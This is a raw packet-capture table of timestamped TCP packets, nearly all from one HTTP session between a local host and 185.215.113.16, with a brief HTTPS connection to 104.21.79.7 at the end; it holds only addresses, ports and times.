Dec 12, 2024 14:27:10.655945063 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.655985117 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.660018921 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.660063028 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.660564899 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.660607100 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.664419889 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.664483070 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.665548086 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.665596962 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.669230938 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.669275045 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.670151949 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.670195103 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.673245907 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.673285007 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.673890114 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.673927069 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.677220106 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.677270889 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.678607941 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.678647995 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.681334972 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.681396008 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.682425976 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.682468891 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.685619116 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.685668945 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.685803890 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.685844898 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.689079046 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.689132929 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.689320087 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.689357996 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.693011999 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.693054914 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.693567038 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.693605900 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.697730064 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.697783947 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.698400021 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.698455095 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.700489998 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.700531006 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.700958014 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.700995922 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.705629110 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.705667973 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.706240892 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.706279039 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.709769011 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.709810019 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.709846020 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.709891081 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.713465929 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.713506937 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.713628054 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.713677883 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.716927052 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.716941118 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.716967106 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.716980934 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.720561981 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.720613003 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.721980095 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.722017050 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.723561049 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.723618984 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.724762917 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.724802971 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.727612019 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.727627039 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.727658987 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.727675915 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.730452061 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.730464935 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.730493069 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.730534077 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.733803988 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.733865023 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.733906984 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.733954906 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.737382889 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.737427950 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.737776995 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.737843037 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.741070032 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.741117001 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.741324902 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.741403103 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.744965076 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.744976044 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.745027065 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.748927116 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.748971939 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.749099016 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.749141932 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.752208948 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.752258062 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.753561974 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.753607035 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.756112099 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.756151915 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.756165981 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.756203890 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.759483099 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.759499073 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.759567022 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.759614944 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.763283968 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.763355970 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.763922930 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.763988018 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.841197014 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.841254950 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.841384888 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.841428995 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.842005014 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.842040062 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.842544079 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.842565060 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.842585087 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.842607975 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.845422029 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.845464945 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.845480919 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.845520020 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.848155975 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.848206043 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.848377943 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.848433018 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.851013899 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.851066113 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.851360083 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.851402998 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.853532076 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.853547096 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.853584051 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.853599072 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.856544971 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.856590033 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.857006073 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.857038975 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.858973980 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.859034061 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.859358072 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.859397888 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.861363888 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.861402988 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.861551046 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.861588955 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.863472939 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.863486052 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.863516092 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.863531113 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.866075993 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.866087914 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.866121054 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.866139889 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.868482113 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.868522882 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.868526936 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.868558884 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.870677948 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.870690107 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.870719910 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.870749950 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.872874975 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.872911930 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.873045921 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.873086929 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.875205994 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.875226974 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.875247955 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.875262022 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.877902985 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.877943993 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.878609896 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.878649950 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.879537106 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:10.879590988 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:10.879672050 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:10.880125046 CET	49912	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:10.880145073 CET	443	49912	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:10.880397081 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.880449057 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.880516052 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.880558014 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.882378101 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.882390976 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.882426023 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.882441044 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.884319067 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.884361982 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.884634972 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.884681940 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.886311054 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.886349916 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.886415005 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.886456966 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.888474941 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.888519049 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.888596058 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.888688087 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.890650988 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.890676975 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.890697956 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.890711069 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.892796993 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.892839909 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.892868996 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.892910957 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.895267010 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.895278931 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.895307064 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.895324945 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.897006035 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.897047997 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.897145033 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.897183895 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.899149895 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.899194956 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.899766922 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.899806976 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.901475906 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.901519060 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.902252913 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.902293921 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.903898954 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.903940916 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.904409885 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.904457092 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.905658007 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.905673027 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.905699968 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.905714989 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.907751083 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.907768011 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.907810926 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.907810926 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.910120010 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.910132885 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.910164118 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.910177946 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.912117958 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.912131071 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.912163973 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.912178040 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.914375067 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.914387941 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.914429903 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.914473057 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.916517019 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.916528940 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.916574955 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.916591883 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.918842077 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.918900967 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.919362068 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.919406891 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.921247005 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.921302080 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.921314001 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.921353102 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.922749043 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.922805071 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.922833920 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.922873974 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.924882889 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.924937963 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.926285028 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.926332951 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.927067995 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.927143097 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.927453041 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.927496910 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.929223061 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.929235935 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.929286957 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.931287050 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.931358099 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.931617022 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.931663990 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.933515072 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.933564901 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.933700085 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.933743954 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.935695887 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.935751915 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.935873032 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.935925007 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.937730074 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.937784910 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.938610077 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.938654900 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.939846039 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.939898014 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.940340042 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.940610886 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.941987991 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.942034006 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.942121983 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.942167044 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.944133043 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.944184065 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.944576979 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.944622993 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.946269035 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.946321964 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.946369886 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.946407080 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.948435068 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.948487997 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.948523045 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.948565006 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.950562000 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.950614929 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.950619936 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.950656891 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.952734947 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.952785969 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.953160048 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.953210115 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.954873085 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.954921961 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.955105066 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.955149889 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.956995010 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.957046032 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.957684994 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.957741022 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.969458103 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.969499111 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.969511032 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.969527006 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.969568014 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.969568014 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.969575882 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.969615936 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:11.033010006 CET	80	49907	185.215.113.16	192.168.2.4
